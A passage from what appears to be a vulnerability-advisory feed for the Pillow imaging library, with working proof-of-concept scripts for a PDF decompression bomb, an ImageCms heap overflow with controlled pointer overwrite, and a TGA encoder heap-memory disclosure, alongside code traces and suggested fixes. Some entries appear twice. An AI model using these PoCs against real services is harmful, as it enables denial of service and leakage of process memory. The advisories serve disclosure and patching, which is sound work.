object from the parsed PDF. **Confirmed reachable path:** ```python with PdfParser.PdfParser(\"evil.pdf\") as pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # \u2190 OOM here ``` ### PoC ```python import zlib, tempfile, os, time from PIL import PdfParser # Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPAND_MB = 100 raw = b'\\x00' * (EXPAND_MB * 1_000_000) compressed = zlib.compress(raw, level=9) # ~97 KB buf = b'%PDF-1.4\\n' o1 = len(buf); buf += b'1 0 obj\\n<< /Type /Pages /Kids [] /Count 0 >>\\nendobj\\n' o2 = len(buf); buf += b'2 0 obj\\n<< /Type /Catalog /Pages 1 0 R >>\\nendobj\\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\\n' + hdr + b'\\nstream\\n' + compressed + b'\\nendstream\\nendobj\\n' xref = len(buf) buf += b'xref\\n0 4\\n0000000000 65535 f \\n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \\n'.encode() buf += b'trailer\\n<< /Size 4 /Root 2 0 R >>\\nstartxref\\n' + str(xref).encode() + b'\\n%%EOF\\n' print(f\"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)\") with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name with PdfParser.PdfParser(tmpname) as pdf: obj, _ = pdf.get_value(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f\"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s\") os.unlink(tmpname) ``` **Actual output (Pillow 12.1.1, Python 3.12):** ``` PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s ``` **Measured expansion:** | PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026\u00d7 | 0.024 s | | 95 KB | 100 MB | 1,028\u00d7 | 0.265 s | | 475 KB | 500 MB | 1,028\u00d7 | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028\u00d7 | 2.668 s | ### Impact This is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required. **Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six. **Suggested fix:** ```python MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap def decode(self) -> bytes: ... if filter == b\"FlateDecode\": ... result = zlib.decompress(self.buf, bufsize=int(expected_length)) if len(result) > MAX_DECOMPRESS_BYTES: msg = \"Decompressed stream exceeds maximum allowed size\" raise ValueError(msg) return result ```"}, {"id": "PYSEC-2026-3496", "fix_versions": ["12.3.0"], "aliases": ["BIT-pillow-2026-59204", "CVE-2026-59204", "GHSA-vjc4-5qp5-m44j"], "description": "### Summary `src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state->buffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption. ### Details - Location: `src/libImaging/Jpeg2KDecode.c:853` - Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state->buffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding. ### PoC The attached helper script and testcase were used: [exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip) Generate the testcase: ```bash pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \\ --size 3664 --tile 1832 ``` Expected geometry from the helper: - image size: `3664 x 3664` - mode: `RGBA` - tile size: `1832 x 1832` (`2x2` tiles) - `image_bytes=53699584` - uncapped RSS observed: - vulnerable build: `maxrss_kb=180264` - fixed comparison build: `maxrss_kb=138404` Load it with the current vulnerable build: ```bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 ``` Load it again under a 160 MB address-space cap: ```bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160 ``` ### Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding."}, {"id": "PYSEC-2026-3453", "fix_versions": ["12.3.0"], "aliases": ["BIT-pillow-2026-59205", "GHSA-9hw9-ch79-4vh6", "CVE-2026-59205"], "description": "### Summary Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. For example, a transform built as `RGBA -> RGBA` can be applied to an `L` output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row. ### Details `src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller supplied `imOut`: ```python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.output_mode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info[\"icc_profile\"] = self.output_profile.tobytes() return imOut ``` If `imOut` is provided, Pillow does not check: ```text im.mode == self.input_mode imOut.mode == self.output_mode ``` The C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions: ```c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; } for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); } pyCMScopyAux(hTransform, imOut, im); return 0; } ``` `findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS `TYPE_RGBA_8`, which writes 4 bytes per pixel: ```c case IMAGING_MODE_RGB: case IMAGING_MODE_RGBA: case IMAGING_MODE_RGBX: return TYPE_RGBA_8; ``` So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width` bytes to each output row. If the supplied output image is mode `L`, Pillow only allocated `1 * width` bytes for that row. For width 4096: ```text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row ``` The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, `apply()` returned to Python and printed `after`; glibc detected the corrupted heap later during cleanup. ### PoC Tiny heap corruption trigger: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile(\"sRGB\") transform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\") im = Image.new(\"RGBA\", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new(\"L\", (8, 1), 0) print(\"before\", flush=True) transform.apply(im, out) print(\"after\") ``` Observed locally on Pillow `12.3.0.dev0`: ```text before after free(): invalid next size (normal) Aborted (core dumped) ``` Controlled overwrite evidence PoC: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile(\"sRGB\") transform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\") im = Image.new(\"RGBA\", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new(\"L\", (4096, 1), 0) transform.apply(im, out) ``` Run under gdb: ```bash gdb -q --batch -ex run -ex bt --args \\ python3 b022_controlled.py ``` Observed on Pillow `12.3.0.dev0`: ```text Program received signal SIGSEGV, Segmentation fault. ___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241) #1 _cmsLockPrimitive (m=0x4443424144434241) #2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #4 cmsSaveProfileToIOhandler(...) #5 cmsSaveProfileToMem(...) #6 cms_profile_tobytes (...) at src/_imagingcms.c:152 ``` `0x4443424144434241` is the attacker-controlled source pixel pattern `b\"ABCDABCD\"` interpreted as a little-endian pointer-sized value. Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of `0x403020104030201`, matching the repeated pixel bytes. ### Impact This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API. Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to `ImageCmsTransform.apply()`. The source image pixels influence the bytes written out of bounds. ## Suggested fix Validate modes before calling into the native transform: ```python def apply(self, im, imOut=None): if im.mode != self.input_mode: raise ValueError(\"input mode mismatch\") if imOut is None: imOut = Image.new(self.output_mode, im.size, None) elif imOut.mode != self.output_mode: raise ValueError(\"output mode mismatch\") self.transform.apply(im.getim(), imOut.getim()) imOut.info[\"icc_profile\"] = self.output_profile.tobytes() return imOut ``` The C extension should also defensively reject mismatched image modes before calling `cmsDoTransform()`."}, {"id": "PYSEC-2026-3454", "fix_versions": ["12.3.0"], "aliases": ["GHSA-xj96-63gp-2gmr", "CVE-2026-59197"], "description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0."}, {"id": "PYSEC-2026-3495", "fix_versions": ["12.3.0"], "aliases": ["GHSA-jjj6-mw9f-p565", "CVE-2026-59200"], "description": "### Summary `PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit \u2014 the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files. ### Details `PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`: ```python # PIL/PdfParser.py \u2014 PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b\"Filter\"] except KeyError: return self.buf if filter == b\"FlateDecode\": try: expected_length = self.dictionary[b\"DL\"] except KeyError: expected_length = self.dictionary[b\"Length\"] return zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an *initial buffer hint*, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless. ``` From the Python documentation: *\"The `bufsize` parameter is used as the initial size of the output buffer.\"* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation. `PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF. **Confirmed reachable path:** ```python with PdfParser.PdfParser(\"evil.pdf\") as pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # \u2190 OOM here ``` ### PoC ```python import zlib, tempfile, os, time from PIL import PdfParser # Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPAND_MB = 100 raw = b'\\x00' * (EXPAND_MB * 1_000_000) compressed = zlib.compress(raw, level=9) # ~97 KB buf = b'%PDF-1.4\\n' o1 = len(buf); buf += b'1 0 obj\\n<< /Type /Pages /Kids [] /Count 0 >>\\nendobj\\n' o2 = len(buf); buf += b'2 0 obj\\n<< /Type /Catalog /Pages 1 0 R >>\\nendobj\\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\\n' + hdr + b'\\nstream\\n' + compressed + b'\\nendstream\\nendobj\\n' xref = len(buf) buf += b'xref\\n0 4\\n0000000000 65535 f \\n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \\n'.encode() buf += b'trailer\\n<< /Size 4 /Root 2 0 R >>\\nstartxref\\n' + str(xref).encode() + b'\\n%%EOF\\n' print(f\"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)\") with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name with PdfParser.PdfParser(tmpname) as pdf: obj, _ = pdf.get_value(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f\"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s\") os.unlink(tmpname) ``` **Actual output (Pillow 12.1.1, Python 3.12):** ``` PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s ``` **Measured expansion:** | PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026\u00d7 | 0.024 s | | 95 KB | 100 MB | 1,028\u00d7 | 0.265 s | | 475 KB | 500 MB | 1,028\u00d7 | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028\u00d7 | 2.668 s | ### Impact This is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required. **Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six. **Suggested fix:** ```python MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap def decode(self) -> bytes: ... if filter == b\"FlateDecode\": ... result = zlib.decompress(self.buf, bufsize=int(expected_length)) if len(result) > MAX_DECOMPRESS_BYTES: msg = \"Decompressed stream exceeds maximum allowed size\" raise ValueError(msg) return result ```"}, {"id": "PYSEC-2026-3496", "fix_versions": ["12.3.0"], "aliases": ["GHSA-vjc4-5qp5-m44j", "CVE-2026-59204"], "description": "### Summary `src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state->buffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption. ### Details - Location: `src/libImaging/Jpeg2KDecode.c:853` - Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state->buffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding. ### PoC The attached helper script and testcase were used: [exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip) Generate the testcase: ```bash pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \\ --size 3664 --tile 1832 ``` Expected geometry from the helper: - image size: `3664 x 3664` - mode: `RGBA` - tile size: `1832 x 1832` (`2x2` tiles) - `image_bytes=53699584` - uncapped RSS observed: - vulnerable build: `maxrss_kb=180264` - fixed comparison build: `maxrss_kb=138404` Load it with the current vulnerable build: ```bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 ``` Load it again under a 160 MB address-space cap: ```bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160 ``` ### Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding."}, {"id": "PYSEC-2026-3494", "fix_versions": ["12.3.0"], "aliases": ["GHSA-fj7v-r99m-22gq", "CVE-2026-59198"], "description": "### Summary Pillow's TGA RLE encoder reads past its row buffer when saving a mode `\"1\"` image. Adjacent process heap bytes can be copied into the generated TGA file. The bug is reachable through the public save API: ```python im.save(out, format=\"TGA\", compression=\"tga_rle\") ``` Older affected Pillow versions use the equivalent public option `rle=True`. For mode `\"1\"`, Pillow allocates a packed row buffer of `ceil(width / 8)` bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel. The maximum valid TGA width is `65535`. At that width: ```text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes ``` On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized `57297` bytes from distinct out-of-bounds source offsets into one returned TGA, covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most `128` bytes each, not one large `memcpy()`. ### Details `src/PIL/TgaImagePlugin.py` allows mode `\"1\"` TGA output and selects the `tga_rle` encoder when RLE compression is requested. `src/encode.c:_setimage()` allocates the row buffer using the packed-bit formula: ```c state->bytes = (state->bits * state->xsize + 7) / 8; state->buffer = (UINT8 *)calloc(1, state->bytes); ``` For mode `\"1\"`, `state->bits == 1`. `src/libImaging/TgaRleEncode.c` then computes: ```c bytesPerPixel = (state->bits + 7) / 8; ``` This becomes `1`, and the encoder uses pixel indexes as byte offsets: ```c static int comparePixels(const UINT8 *buf, int x, int bytesPerPixel) { buf += x * bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; } ``` The packet payload `memcpy()` later copies those out-of-bounds source bytes into the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy one representative byte: ```c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount ); ``` A width-2 mode `\"1\"` image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized. ### PoC #### Minimal ASAN trigger ```python import io from PIL import Image out = io.BytesIO() Image.new(\"1\", (2, 1)).save(out, format=\"TGA\", compression=\"tga_rle\") ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage ``` #### Maximum-width heap disclosure This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window. Run the following with a standard affected Pillow installation. ```python import hashlib import io import PIL from PIL import Image WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYTES def extract_oob_payload(data): i = 18 pixel = 0 oob = bytearray() while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1 if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROW_BYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROW_BYTES - pixel, 0) :]) pixel += count return bytes(oob) best = b\"\" for _ in range(ATTEMPTS): out = io.BytesIO() Image.new(\"1\", (WIDTH, 1), 0).save(out, format=\"TGA\", compression=\"tga_rle\") oob = extract_oob_payload(out.getvalue()) if len(oob) > len(best): best = oob with open(\"/tmp/max_oob_bytes.bin\", \"wb\") as fp: fp.write(best) print(f\"Pillow={PIL.__version__}\") print(f\"packed_row_bytes={ROW_BYTES}\") print(f\"maximum_oob_window={MAX_OOB_WINDOW}\") print(f\"serialized_distinct_oob_offsets={len(best)}\") print(f\"nonzero_oob_bytes={sum(byte != 0 for byte in best)}\") print(f\"coverage={len(best) / MAX_OOB_WINDOW:.2%}\") print(f\"sha256={hashlib.sha256(best).hexdigest()}\") ``` Observed on installed Pillow `12.2.0`: ```text Pillow=12.2.0 packed_row_bytes=8192 maximum_oob_window=57343 serialized_distinct_oob_offsets=57297 nonzero_oob_bytes=54407 coverage=99.92% ``` ### Impact This is a heap out-of-bounds read and potential information disclosure. A maximum-width single-row image can cause nearly the full `57343`-byte adjacent heap window to be incorporated into one output file."}, {"id": "PYSEC-2026-3493", "fix_versions": ["12.3.0"], "aliases": ["CVE-2026-54058", "GHSA-62p4-gmf7-7g93"], "description": "## Summary When Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride <= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**. The **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`, `getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service). ## Complete Code Trace **Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation. ```python # src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not _accept(s) or len(s) != 256: # _accept: prefix == b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\" raise SyntaxError(...) self.area_descriptor = w = [0, *struct.unpack(\"!64i\", s)] # w[1..64] = signed BE int32, ALL attacker-controlled if w[11] == 1: mode = rawmode = \"L\" # pixelsize 1, in _MAPMODES elif w[11] == 2: mode = rawmode = \"I;16B\" # pixelsize 2, in _MAPMODES ... self._mode = mode self._size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile._Tile(\"raw\", (0, 0) + self.size, offset, (rawmode, stride, 1)) ] ``` **Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`. ```python # src/PIL/ImageFile.py:322-348 if use_mmap: # use_mmap = self.filename and len(self.tile) == 1 decoder_name, extents, offset, args = self.tile[0] if (decoder_name == \"raw\" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image._MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError(\"Tile offset cannot be negative\") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ) if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check raise OSError(\"buffer is not large enough\") self.im = Image.core.map_buffer( self.map, self.size, decoder_name, offset, args # args = (\"L\", stride, 1) ) ``` **Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride >= row width`. ```c /* src/map.c:65-140 */ if (!PyArg_ParseTuple(args, \"O(ii)sn(sii)\", &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(mode_name); /* \"L\" */ if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */ if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize; else if (isModeI16(mode)) stride = xsize * 2; else stride = xsize * 4; } if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */ PyErr_SetString(PyExc_MemoryError, \"Integer overflow in ysize\"); return NULL; } size = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */ if (offset > PY_SSIZE_T_MAX - size) { ... } ... if (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */ PyErr_SetString(PyExc_ValueError, \"buffer is not large enough\"); PyBuffer_Release(&view); return NULL; } im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); /* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */ /* setup file pointers -- NO check that stride >= im->linesize */ if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */ } } else { ... } ``` `im->linesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes \"claimed\". Nothing reconciles the two. **Step 4: pixel access (`Image.tobytes()` \u2192 raw encoder `copy1`)** - reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap. ```c /* the raw \"L\" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */ ``` ## Chain Summary ``` SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) \u2193 McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] \u2193 tile = (\"raw\", (0,0,xsize,1), offset, (\"L\", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] \u2193 core.map_buffer(map, (xsize,1), \"raw\", offset, (\"L\",1,1)) [ImageFile.py:346] SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134] \u2193 Image.tobytes() raw \"L\" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) ``` ## Proof of Concept See attached [poc.zip](https://github.com/user-attachments/files/28460498/poc.zip) ## Impact on a Parent Application Any application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed: - **Information disclosure (High):** the decoded \"image\" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. - **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS. ## Suggested fix Core fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset < 0` or `stride < xsize*pixelsize` ."}, {"id": "PYSEC-2026-4327", "fix_versions": ["13.0.0"], "aliases": ["GHSA-4558-3h8r-v8xp", "CVE-2026-112394"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's P;2L and P;4L raw decoders can read past the end of an input buffer. ImagingRawDecode calculates a packed-pixel row size, while the unpackers read separately padded bit planes. A caller can supply a buffer and image dimensions whose accepted size is smaller than the unpacker's actual footprint. This can disclose up to three adjacent heap bytes in output pixels or crash the process. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4328", "fix_versions": ["13.0.0"], "aliases": ["GHSA-4rr5-89j8-mwwm", "CVE-2026-112396"], "description": "Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4326", "fix_versions": ["13.0.0"], "aliases": ["GHSA-27h8-gf7j-v5hc", "CVE-2026-112392"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's rank-based filters can dereference invalid image storage for a zero-size image. ImagingExpand() allocates a non-empty output and then faults while replicating edges by reading the first pixel from empty input storage; ImagingRankFilter is never reached. An attacker can supply or cause creation of a zero-size image to an application that applies a rank, median, minimum, or maximum filter. This causes a native process crash. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4339", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-96639", "GHSA-v9pv-5gc8-w2m6"], "description": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, multi-frame loaders can retain an ImagingCore allocation created for a narrow frame mode while a later frame of the same dimensions changes the logical mode and decoder tiles to wider RGB or CMYK data. ImageFile.load_prepare() reuses the stale native storage because _im is non-null without verifying that its mode and size still match. Crafted PSD, MPO, DCX, or MIC frame transitions can then write wider pixels into the narrow allocation, causing native out-of-bounds writes and crashes. The MPO path can also cause a native over-read and, in demonstrated runtime-specific profiles, command execution. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4340", "fix_versions": ["13.0.0"], "aliases": ["CVE-2026-96641", "GHSA-4rm8-3hmm-39fg"], "description": "Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/_imaging.c checks positive glyph advances against INT_MAX but does not check negative advances against INT_MIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0."}, {"id": "PYSEC-2026-4343", "fix_versions": ["13.0.0"], "aliases": 